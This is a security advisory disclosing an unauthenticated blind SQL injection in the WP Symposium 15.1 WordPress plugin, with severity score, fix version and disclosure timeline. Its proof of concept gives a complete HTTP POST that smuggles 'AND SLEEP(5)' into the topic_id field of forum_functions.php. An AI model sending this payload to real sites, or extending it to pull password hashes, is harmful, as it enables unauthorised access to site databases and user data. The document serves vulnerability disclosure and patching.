WordPress Plugin WP Symposium 15.1 - Blind SQL Injection

Details
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Software: WP Symposium
Version: 15.1
Homepage: https://wordpress.org/plugins/wp-symposium
Advisory report: https://security.dxw.com/advisories/blind-sql-injection-in-wp-symposium-allows-unauthenticated-attackers-to-access-sensitive-data/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:P)

Description
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Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data

Vulnerability
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An unauthenticated user can run blind sql injection of the site and extract password hashes and other information from the database.

Proof of concept
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Perform the following POST to a site with the plugin installed. The request will take over 5 seconds to respond:
POST /wordpress/wp-content/plugins/wp-symposium/ajax/forum_functions.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/wordpress/
Content-Length: 51
Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce; wp-settings-time-1=1421717320
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
action=getTopic&topic_id=1 AND SLEEP(5)&group_id=0
 

Mitigations
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Upgrade to version 15.8 or later

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2015-03-02: Discovered
2015-07-14: Reported to [email protected]
2015-07-14: Requested CVE
2015-08-07: Vendor confirmed fixed in version 15.8
2015-08-10: Published


Discovered by dxw:
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Glyn Wintle
Please visit security.dxw.com for more information.